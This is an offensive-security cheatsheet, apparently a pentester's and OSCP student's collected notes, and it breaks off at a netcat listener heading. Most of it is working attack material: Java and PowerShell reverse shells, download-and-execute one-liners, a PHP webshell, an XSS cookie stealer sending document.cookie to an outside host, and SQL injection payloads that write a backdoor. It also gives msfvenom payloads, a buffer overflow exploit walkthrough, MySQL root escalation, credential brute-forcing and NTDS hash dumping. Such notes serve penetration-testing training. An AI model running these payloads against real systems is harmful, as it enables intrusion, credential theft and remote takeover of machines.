$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com
```
### Identifying a WAF with Nmap
```
$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102
$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102
$ wafw00f www.hamza.com
```
### MS08-067 - without the use of Metasploit
```
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
```
### Nikto scan with SQUID proxy
```
$ nikto -useproxy http://squid_ip:3128 -h http://target_ip
```
### Hijack a binary’s full path in bash to exec your own code
```
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
# It works ;)
```
### Local privilege escalation through MySQL run with root privileges
```
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');
user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)
```
### Bruteforce SSH login with patator
```
root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'
```
### Using LD_PRELOAD to inject features to programs
```
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
```
### Exploit the OpenSSH User Enumeration Timing Attack
```
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
```
### Create a TCP circuit through validly formed HTTP requests with ReDuh
```
# https://github.com/sensepost/reDuh
# step 1
# upload reDuh.jsp to victim server
$ http://192.168.10.50/uploads/reDuh.jsp
# step 2
# run reDuhClient on attacker
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
# step 3
# connecting to management port with nc
$ nc -nvv 127.0.0.1 1010
# step 4
# forward localport to remote port with tunnel
[createTunnel] 7777:172.16.0.4:3389
# step 5
# connect to localhost with rdp
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777
```
# Jenkins Reverse Shell
```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
# Powershell Reverse Shell
change IP and Port / Limmited version
```
$sm=(New-Object Net.Sockets.TCPClient('192.168.1.11',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
```
# Donwload file to Victim machine
```
cmd /c certutil -urlcache -split -f http://127.0.0.1/shell.exe c:\Temp\shell.exe && C:\temp\shell.exe
```
```
powershell -v 2 -exec bypass IEX(New-Object Net.WebClient).downloadString("http://127.0.0.1/shell.ps1")
```
# MSSQL attack
## Service discovery
**Nmap**
```
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
```
**MetaSploit**
```
msf > use auxiliary/scanner/mssql/mssql_ping
```
Enumeration
Combine user passwords collected in other ways into a dictionary to enumerate MSSQL machines in the domain.
**Nmap**
```
nmap -n -sV -Pn -vv -p<PORT> --script=banner,ms-sql-empty-password,ms-sql-dac,ms-sql-dump-hashes,ms-sql-info,ms-sql-ntlm-info,vulners -oA <IP>_mssql.txt <IP>
nmap -p 445 --script ms-sql-brute --script-args mssql.instance-all,userdb=user.txt,passdb=pass.txt 192.168.1.1
nmap -p 1433 --script ms-sql-brute --script-args userdb=user.txt,passdb=pass.txt 192.168.1.1
Hydra
hydra -L userlist_sqlbrute.txt -P quick_password_spray.txt -f -o output.ms-sql -u <IP> -s <PORT>
```
**MetaSploit**
```
msf > use auxiliary/admin/mssql/mssql_enum
msf > use auxiliary/scanner/mssql/mssql_login
Set it up PASS_FILE and RHOSTS.
```
**PowerUpSQL**
```
Invoke-SQLAuditWeakLoginPw
```
**FScrack**
```
python FScrack.py -h 192.168.1 -p 1433 -d pass.txt
```
## Exploitation
**Nmap**
```
nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell 192.168.1.10
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.10
```
**MetaSploit**
```
msf > auxiliary/admin/mssql/mssql_exec
msf > auxiliary/admin/mssql/mssql_sql
Rebound
msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
```
**MSDAT**
All the included above could be tested using MSDAT only.
<br>
Getting a shell
```
msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
mssql_shell python script
```
**python [mssql_shell.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py) script**
```
Usage : mssql_shell Change MSSQL_SERVE , MSSQL_USERNAME and MSSQL_PASSWORD
```
**Sqsh**
<br>
Connect to the service
```
sqsh -S mssql -D MyDB -U DOMAIN\\testuser -P MyTestingClearPassword1
```
Then
```
exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
xp_cmdshell 'dir C:\'
go
```
# C&C
## Merlin
Compile and run server
```
$ cd merlin/cmd/merlinserver
$ go build
$ sudo ./merlinServer-Linux-x64 -i 192.168.1.11 -p 8443
```
Compile agent
```
$ cd merlin/cmd/merlinagent
$ sudo GOOS=windows GOARCH=386 go build
```
Generate Certificate
```
$ cd merlin/data/x509
$ openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=lab.com" -days 365
```
## Koadic
```
$ cd koadic
$ ./koadic
/ \
_ _ | |
| | _____ __ _ __| || | ___
| |/ / _ \ / _` |/ _` ||.| / __|
| / (o) | (_| | (_| ||.|| (__
|_|\_\_^_/ \__,_|\__,_||:| \___|
|:|
~\==8==/~
8
O
-{ COM Command & Control }-
Windows Post-Exploitation Tools
Endless Intellect
~[ Version: 0xA ]~
~[ Stagers: 5 ]~
~[ Implants: 33 ]~
(koadic: sta/js/mshta)$ info
NAME VALUE REQ DESCRIPTION
----- ------------ ---- -------------
SRVHOST 192.168.1.11 yes Where the stager should call home
SRVPORT 9999 yes The port to listen for stagers on
EXPIRES no MM/DD/YYYY to stop calling home
KEYPATH no Private key for TLS communications
CERTPATH no Certificate for TLS communications
MODULE no Module to run once zombie is staged
(koadic: sta/js/mshta)$ set SRVPORT 1245
[+] SRVPORT => 1245
(koadic: sta/js/mshta)$ run
[+] Spawned a stager at http://192.168.1.11:1245/c26qp
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://192.168.1.11:1245/c26qp
```
# PHP Tiny Webshell
```
<?= ($_=@$_GET[0]).$_(@$_GET[1]);
```
http://127.0.0.1/shell.php?0=system&1=ls
# Donwload file to the victim machine
```
bitsadmin /transfer mydownloadjob /download /priority normal ^http://example.com/filename.zip C:\Users\username\Downloads\filename.zip
```
# Internal Monolog
Retrieving NTLM Hashes without Touching LSASS
https://github.com/eladshamir/Internal-Monologue
# NTDS - Domain Controller
Dumping and enumerating NTDS.dit - a file that contains information about Active Directory users (hashes!).
```
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
```
Dump hashes
```
/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
```
# Interactive shell with nc
```
rlwrap nc -nlvp PORT
```
# Tipis and tricks
### RCE POC
We can use the folloiwng tricks as an RCE POC(in some engagements, the client asks for a limited tests on RCE POCs).
## Ping
Pentester machine
```bash
tcpdump -nni <eth-adapter> -e icmp[icmptype] == 8
```
Under the exploit run
```bash
ping <Attacker-IP>
```
You can specify a number of pings with -c agrments, If ICMP requests recieved, RCE achieved
## Curl
Execute commands and recieve data with the POST request
```bash
curl -d "$(id)" 127.0.0.1:9988
```
Recieve data
```bash
nc -nlvp 9988
```
## Burpsuite Collaborator
Use burpcollaborator as POC
* Linux
```bash
curl <burp-collaborator.com>
```
* Windows
```bash
mshta <burp-collaborator.com>
```
|
# Hacking-Cheatsheet
In this repo I collect all commands, links, techniques and tricks I found during my work as pentester, hacker, OSCP student and hack the box fan.
# Basic Linux stuff you may need
Keyword search in man pages:
```bash
man -k <KEYWORD>
```
Alternatively:
```bash
apropos <KEYWORD>
```
## Find stuff
```bash
sudo find / -name <SEARCHTERM>
```
## Environment variables
basic environment variables you may need:
```bash
$PATH #Search Paths
$USER #Username
$PWD #Current working directory
$HOME #Homedirectory
```
get all environment variables:
```bash
env
```
## Bash history
saved to ~/.bash_history
show bash history:
```bash
history
```
# External Enumeration
## OSINT
### Whois
Forward / Reverse Search with whois
```bash
whois <DOMAIN> / <IP>
```
### Crawl words from website for passwordlist
```bash
cewl <domain> -m 6 -w words.txt
```
### The Harvester
Find Domains, E-Mail-Adresses, Subdomains, ...
```
theharvester -d <DOMAIN> -b <DATASOURCE>
```
## DNS Enumeration
```bash
# Look for A record / IP Address
host <DOMAIN>
# Look for MX record / mailservers
host -t mx <DOMAIN>
# Look for TXT record
host -t txt <DOMAIN>
# get Nameservers for Domain
host -t ns <DOMAIN>
```
### DNS forward lookup brute force
Needs a list with possible sub domains (e.g. use seclist [https://github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists))
```bash
for ip in $(cat <FILENAME>); do host $ip.<DOMAIN>; done
```
### DNS reverse lookup brute force
```bash
for ip in $(seq <START> <END>); do host <IP-BEGINNING>.$ip; done | grep -v "not found"
```
### DNS zone transfers
```bash
host -l <DOMAIN NAME> <DNS SERVER>
```
#### DNS zone transfer automation script
```bash
#!/bin/bash
if [ -z "$1" ]; then
echo "[*] Zone transfer script"
echo "[*] Usage : $0 <DOMAIN> "
exit 0
fi
for server in $(host -t ns $1 | cut -d " " -f4;) do
host -l $1 $server | grep "has address"
done
```
### DNSRecon
DNS zone transfer:
```bash
dnsrecon -d <DOMAIN> -t axfr
```
Bruteforce subdomains:
```bash
dnsrecon -d <DOMAIN> -D <LISTNAME.txt> -t brt
```
### DNSEnum
Tries zone transfer, also can use bruteforce for subdomains
```bash
dnsenum <DOMAIN>
```
### NMAP DNS NSE scripts
```bash
nmap --script=dns-zone-transfer -p 53 <TARGET>
```
## Port-Scanning
### Nmap
#### TCP Scans
If nmap has access to raw sockets (run with sudo), nmap uses a SYN-Scan by default. Without sudo privileges: TCP-Connect-Scan.
TCP-Connect-Scan takes much longer time than SYN-Scan.
Nmap scans 1000 most common ports by default.
To be sure to use SYN/Stealth scan:
```bash
sudo nmap -sS <IP>
```
Scan all ports with service and OS detection
```bash
sudo nmap -v -A -p- <Target-IP>
```
#### UDP Scans
```bash
sudo nmap -sU <IP>
```
#### combined TCP / UDP Scan
```bash
sudo nmap -sU -sS <IP>
```
#### Network Sweeping
```bash
nmap -sn <IP-START>.1-254 #e.g. nmap -sn 10.10.10.1-254
```
Save network sweep / ping sweep result in grepable format to file
```bash
nmap -v -sn <IP-Start>.1-254 -oG <FILENAME>
grep Up <FILENAME> | cut -d " " -f 2 | head
```
TCP connect scan to top 20 ports with OS and version detection:
```bash
nmap -sT -A --top-ports=20 <IP-Start>.1-254 -oG <FILENAME>
```
### Basic port-Scanning with netcat/nc (TCP)
```bash
nc -nvv -w 1 -z <IP> <STARTPORT>-<ENDPORT>
```
### Basic port-Scanning with netcat/nc (UDP)
```bash
nc -nv -u -w 1 -z <IP> <STARTPORT>-<ENDPORT>
```
## Masscan
```bash
sudo masscan -p<PORT> <SUBNET>/<NETMASK> --rate=1000 -e <INTERFACE> --router-ip <IP OF GATEWAY>
```
## Webserver Enumeration
### Vhost Enumeration
```
nmap --script=http-vhosts --script-args domain=<DOMAIN> -p80,443 -v <Target/DOMAIN>
```
## SMB-Enumeration
Get NetBIOS Information
```bash
sudo nbtscan -r <SUBNET>/<NETMASK>
```
### Enum4Linux
```bash
enum4linux -a <IP>
```
### rpcclient
```bash
rpcclient -U "" <Target IP>
```
enter empty password
Commands in rpcclient console:
- srvinfo: Identify OS Versions
- enumdomusers: List of Usernames on this server
- getdompwinfo: Displays SMB password policy
### CrackMapExec
List of Users and Passwords to try:
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
```
Login to WinRM (Alternative to evil-winrm):
```bash
crackmapexec winrm <IP> -u <USER> -p <PASSWORD>
```
Hint: User needs to be in group "Remote Management Users"
Brute Usernames through RID
```bash
crackmapexec smb <IP> -u <USER> -p <PASSWORD> --rid-brute
```
### NMAP SMB NSE Scripts
Determine operating system by SMB service:
```bash
nmap <IP> --script=smb-os-discovery
```
## NFS Enumeration
Find to rpcbind registered services
```bash
nmap -sV -p 111 --script=rpcinfo <START-IP>.1-254
```
### NMAP NFS enum scripts
```bash
nmap -p 111 --script nfs* <IP>
```
### Mount NFS shares
```bash
sudo mount -o nolock <IP>:/<SHARENAME> <LOCALMOUNTDIR>
```
If a file is not accessible on the share because it's limited to a specific user with a specific uuid:
try to create a user with this uuid. Then su to this user and try to access the file.
## SMTP-Enumeration
SMTP-Enumeration with netcat
```bash
for user in $(cat typical_usernames_SMTP_Enumeration.txt); do echo VRFY $user |nc -nv -w 1 <Target-IP> 25 2>/dev/null |grep ^"250";done
```
SMTP-Enumeration Script
TODO: extend for reading users from file
```python
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect = s.connect(('<IP>',25))
# Receive the banner
banner = s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + '\r\n')
result = s.recv(1024)
print result
# Close the socket
s.close()
```
## SNMP-Enumeration
Scan for open SNMP ports with nmap
```bash
sudo nmap -sU --open -p 161 <START-IP>.1-254 -oG <FILENAME>
```
Enumerate set of IPs for different SNMP communities
```bash
onesixtyone -c community_names.txt -i ips.txt
```
examples for community names:
- public
- private
- manager
For following examples often "public" is used as community string.
Get all SNMP info
```bash
snmpwalk -c <COMMUNITY-STRING> -v1 -t 10 <TARGET-IP>
```
Enumerate Users on Windows System
```bash
snmpwalk -c <COMMUNITY-STRING> -v1 <TARGET-IP> 1.3.6.1.4.1.77.1.2.25
```
Get list of running Windows processes
```bash
snmpwalk -c <COMMUNITY-STRING> -v1 <TARGET-IP> 1.3.6.1.2.1.25.4.2.1.2
```
Get list of open ports
```bash
snmpwalk -c <COMMUNITY-STRING> -v1 <TARGET-IP> 1.3.6.1.2.1.6.13.1.3
```
Get list of installed software
```bash
snmpwalk -c <COMMUNITY-STRING> -v1 <TARGET-IP> 1.3.6.1.2.1.25.6.3.1.2
```
## Wordpress Enumeration
```bash
wpscan --update
wpscan --url <TARGET-URL>
```
## Webapplication Enumeration
- check source code for any comments and interesting scripts
- check robots.txt
- check sitemaps (/sitemap.xml)
- check admin consoles
### dirb
```bash
dirb <URL> -z 10
```
### dirbuster
Similar to dirb but with GUI
### ffuf - fuzz faster u fool
TODO: insert command
### Webapplication Vulnerability Scan / nikto
```bash
nikto -host=<URL>
```
# File Transfer and File Downloads
## Windows
### Download files with certutil
```cmd
certutil.exe -urlcache -f http://<ip>:<port>/<filename> <localfilename>
```
Example:
```cmd
certutil.exe -urlcache -f http://10.10.14.37:8080/shell.exe reverse_shell.exe
```
### Downlaod files with Powershell
Oneliner:
```cmd
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<IP>:<PORT>/<FILE>','<TARGET-FILENAME>')"
```
Powershell-Script:
```cmd
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://192.168.30.5/exploit.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url, $file) >>wget.ps1
```
### Powercat Filetransfer
```powershell
PS> powercat -c <IP> -p <PORT> -i <FILENAME>
```
Execute File with: [Execute Powershell File, bypass all policies](#execute-powershell-file-bypass-all-policies)
## Linux
### wget
```bash
wget -O <filename.xyz> http://<URL>/
```
### curl
```bash
curl -o <filename.xyz> http://<URL>/
```
### axel
(very fast downloader (-n # gives number of connections))
```bash
axel -a -n 20 -o <filename.xyz> http://<URL>/
```
## nc / netcat
File receiver:
```
nc -nlvp 4444 > <FILENAME>
```
File sender:
```
nc -nv <IP> <PORT> < <FILENAME>
```
## socat
File sender:
```bash
socat TCP4-LISTEN:<PORT>,fork file:<FILENAME.xyz>
```
File receiver:
```
socat TCP4:<IP>:<PORT> file:<FILENAME>,create
```
## Python Webserver
Create webserver listening to port 9090 offering files from current working directory
```bash
python3 -m http.server 9090
python -m SimpleHTTPServer 9090
```
## PHP Webserver
```bash
php -S 0.0.0.0:9090
```
## Ruby Webserver
```bash
ruby -run -e httpd . -p 9090
```
- the "." defines use of current directory as root directory for server
## Busybox Webserver
```bash
busybox httpd -f -p 9090
```
# Exploiting
## Metasploit Magic
### MSFvenom / Metasploit payloads
```bash
# Windowssystem, reverse tcp ==> use for Buffer Overflows
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<IP> -f c
# same as above but without bad characters and encoding
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<IP> -f c -e x86/shikata_ga_nai -b "<BADCHARS>"
# example for BADCHARS: "\x00\x0a\x25\x26\x2b\x3d"
# Don't break the application you exploit:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<IP> EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<BADCHARS>"
# Windowssystem, e.g. with IIS
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx > shell.aspx
# e.g. Apache Webserver with PHP (don't forget to remove comment at the beginning)
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
```
### Metasploit local exploit suggester
Change to a writeable directory before usage for better results.
```bash
meterpreter> run post/multi/recon/local_exploit_suggester
```
## Webshells
Webshells are in the following directory on Kali:
/usr/share/webshells
## Cross-Site-Scripting (XSS)
```javascript
<script>alert('Happy Hacking')</script>
```
### Content Injection
```html
<iframe src=<URL> height="0" width="0"></iframe>
```
### XSS Cookie Stealer
```javascript
<script>new Image().src="http://x.x.x.x/stealer.jpg?output="+document.cookie;<script>
```
## PHP Remote Command/Code Execution (through Local File Inclusion)
Send the following payload as request to webserver with e.g. nc.
Possibly the webserver logs the request.
```php
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
```
After that use Local File Inclusion (LFI) to request a site, include the logfile and use the parameter "&cmd=\<COMMAND\>" to execute os commands.
### PHP Data Wrapper
Given String is used like a file content for LFIs. (No need to write/manipulate files on webserver)
```
data:text/plain,<TESTSTRING>
data:text/plain,<?php echo shell_exec("dir") ?>
```
## SQL Injections
### Authentication Bypass
```SQL
select * from users where name = '<USER>' or 1=1;#' and password = '<ANYTHING>';
select * from users where name = '<USER>' or 1=1 LIMIT 1;#' and password = '<ANYTHING>';
select * from users where name = '<USER>' or 1=1;--' and password = '<ANYTHING>';
select * from users where name = '<USER>' or 1=1 LIMIT 1;--' and password = '<ANYTHING>';
```
### Detect number of columns for UNION attack:
add a
```SQL
ORDER BY 1--
```
statement to sql command.
Than increase number after ORDER BY until you receive a error => Value before is the correct number of columns for UNION statement.
### Detect which columns are shown
```SQL
=1 union all select 1, 2, 3, ...
```
### Get Data from database
```SQL
=1 union all select 1, 2, @@version
=1 union all select 1, 2, user()
=1 union all select 1, 2, table_name from information_schema.tables
=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
=1 union all select 1, username, password from users
```
### SQL Injection to Code Execution
Read files from filesystem:
```SQL
=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
```
Write files to filesystem:
```SQL
=1 union all select 1, 2,"<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>" into OUTFILE 'c:/wwwdirectory/backdoor.php'
```
After that call the file with cmd parameter:
http://\<URL\>/backdoor.php?cmd=\<COMMAND\>
### Automated SQL Injections / Sqlmap
```bash
sqlmap -u http://<URL>/file.php?id=1 -p "id"
```
use recorded request from burp with sqlmap:
```bash
sqlmap -r <FILENAME>
```
#### Dump database with sqlmap
```bash
sqlmap -u http://<URL>/file.php?id=1 -p "id" --dbms=<DBMS> --dump
```
This also creates csv files with the data.
#### Code Execution with sqlmap
```bash
sqlmap -u http://<URL>/file.php?id=1 -p "id" --dbms=<DBMS> --os-shell
```
## Wordpress Exploiting
When you have valid admin credentials for Wordpress installation use following script to generate malicious plugin and uploading the generated plugin to WP.
[https://github.com/wetw0rk/malicious-wordpress-plugin/blob/master/wordpwn.py](https://github.com/wetw0rk/malicious-wordpress-plugin/blob/master/wordpwn.py)
## Creating Exploits with msfvenom
### Web Payloads
#### PHP Meterpreter
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
```
Don't forget to remove the starting chars of the generated file.
## Buffer Overflows
### Registers
|Short|Register description|
|--|--|
|EAX|Arithmetical and Logical Instructions|
|EBX|Base Pointer for Memory Addresses|
|ECX|Loop, Shift, Rotation Counter|
|EDX|I/O Port Addressing, Multiplication, Division|
|ESI|Pointer of data and source in string copy operations|
|EDI|Pointer of data and destination in string copy operations|
||
|:--:|
|Register in Detail|
### Pointers
|Pointer|Description|
|--|--|
|ESP|keeps track of rhe most recently referenced location on the stack (pointer to it)|
|EBP|Pointer to top of the stack|
|EIP|Points to next code instruction to be executed|
### Immunity Debugger Shortcuts
|Key|Action|
|--|--|
|F2|Set Breakpoint|
|F7|Step into|
|F8|Step Over|
|F9|Run|
### Buffer Overflow
#### Replicating the Crash
- generate a unique payload with pattern_create and send this as payload to vulnerable application. See: [here](#create-unique-pattern)
- EIP will be overwritten by a unique string
- Call pattern_offset with length of generated string and the pattern you find in the EIP to get the correct offset. See: [here](#find-unique-pattern-offset)
#### Controlling EIP
- verify the offset by creating a payload:
```python
filler = "A" * <DETECTED-OFFSET>
eip = "B" * 4
buffer = "C" * (<PAYLOAD LENGTH FROM PoC> - len(filler) - len(eip))
inputBuffer = filler + eip + buffer
```
#### Locating Space for Shellcode
- reverse shell needs about 350-400 Bytes of space
- try to verify if there's enough space fo the reverse shell in stack
```python
filler = "A" * <DETECTED-OFFSET>
eip = "B" * 4
offset = "C" * 4
buffer = "D" * (<INCREASED PAYLOAD LENGHT> - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + buffer
```
#### Checking for bad characters
- characters that break the program flow (e.g. 0x00 (ends strings in C), 0x0D (carriage return - ends fields in http), 0x0A (line feed - ends fields in http))
- You can use the following string to determine badchars:
```python
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
```
Remember: x00 is left out from the chars!
```python
filler = "A" * <DETECTED-OFFSET>
eip = "B" * 4
offset = "C" * 4
inputBuffer = filler + eip + offset + badchars
```
- After sending the badchars, follow ESP in Dump to see if a character did something unexpected
- remove the character that breaks something from the badchars and rerun the script
- determine all bad characters: e.g. "0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, 0x3D"
#### Redirecting the execution flow / Finding a return address
- First guess: overwrite ESP ==> does not work, because this address changes every time the application runs
- Use "JMP ESP"-instruction
- find a static address for this instruction
- librarys with ASLR support are not possible because address needs to be static
- address must not include any of the bad characters
- Find Information about modules with mona in Immunity Debugger:
```python
!mona modules
```
- Find e.g. a DLL with Rebase, SafeSEH, ASL NXCompat OS Dll deactivated
- Also the DLL must not contain any of the bad characters in its address
- now find a "JMP ESP" instruction in the DLL
- First wee need the OPCode for the instruction:
```bash
msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
```
- search for the instruction in before detected DLL:
```python
!mona find -s "\xff\xe4" -m "<MODULENAME>"
```
- returns 1-n addresses (check if it/they contains bad characters)
- Take address and use it with "Go to address in Disassembler" to verify if there's a "JMP ESP" instruction
- Now use the address of the instruction to overwrite the EIP:
```python
filler = "A" * 780
eip = "<ADDRESS IN REVERSE>"
offset = "C" * 4
buffer = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + buffer
```
**The address in the script needs to be in reverse.**
E.g. you get the following address in immunity debugger for the JMP ESP instruction: 0x10090C83
This results in the following in your script: "\x83\x0c\x09\x10"
- now set a breakpoint on the JMP ESP instruction and rerun exploit to verify that you reach the instruction
- In the Debugger step into the JMP ESP instruction and you'll see the "D"s as new instructions
#### generating a shellcode
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<IP> -f c -e x86/shikata_ga_nai -b "<BADCHARS>"
```
#### get the shell
Shikata Ga Nai needs some space for decoding the payload. This decoding may overwrite some of the payload, so there is need for some space for this operation (NOPs).
```python
shellcode = <OUTPUT FROM MSFVENOM>
filler = "A" * 780
eip = "\x83\x0c\x09\x10"
offset = "C" * 4
nops = "\x90" * 10
inputBuffer = filler + eip + offset + nops + shellcode
```
Now open your nc listener.
==> Congrats you got a shell!
If you break the application on ending your shell: use EXITFUNC=thread on payload generation with msfvenom
### Create unique pattern
Create a unique pattern to identify correct position for buffer overflow
```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <LENGTH>
#Alternatively:
msf-pattern_create -l <LENGTH>
```
### Find unique pattern offset
```bash
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <LENGTH> -q <PATTERN>
#Alternatively:
msf-pattern_offset -l <LENGTH> -q <PATTERN>
```
# Local Enumeration
## Local Linux Enumeration
### Gather information about current user
show username and groups of current user:
```bash
id
```
### System information/version
Show information about kernel and linux system
```bash
uname -a
```
- check for Kernel Exploits for the Kernel
Show linux version
```bash
cat /etc/issue
```
### Find local users
```bash
cat /etc/passwd
```
### Password hashes
```bash
cat /etc/shadow
```
### Find world writable files
```bash
find / -perm -2 ! -type l -ls 2>/dev/null
```
### List services with systemctl
```bash
systemctl list-unit-files
```
## Local Windows Enumeration
### hosts file
```cmd
type c:\windows\system32\drivers\etc\hosts
```
### boot.ini file
```cmd
type c:\boot.ini
```
### Open Ports local
```cmd
netstat -an
```
### Check permission of executable
```cmd
icacls <filename>
```
# Exploitation
## SSH Exploitation
Try given Username + Password combinations on SSH with nmap
```bash
nmap -p 22 --script ssh-brute --script-args userdb=userdb.lst,passdb=passdb.lst <IP>
```
## Local Windows Exploitation
### Service Exploitation
Dump full memory from service with Procdump
```cmd
.\procdump.exe -ma <PROCESS ID> <Filename>
```
# Post Exploitation
## Netcat Fun
Create netcat listener:
```
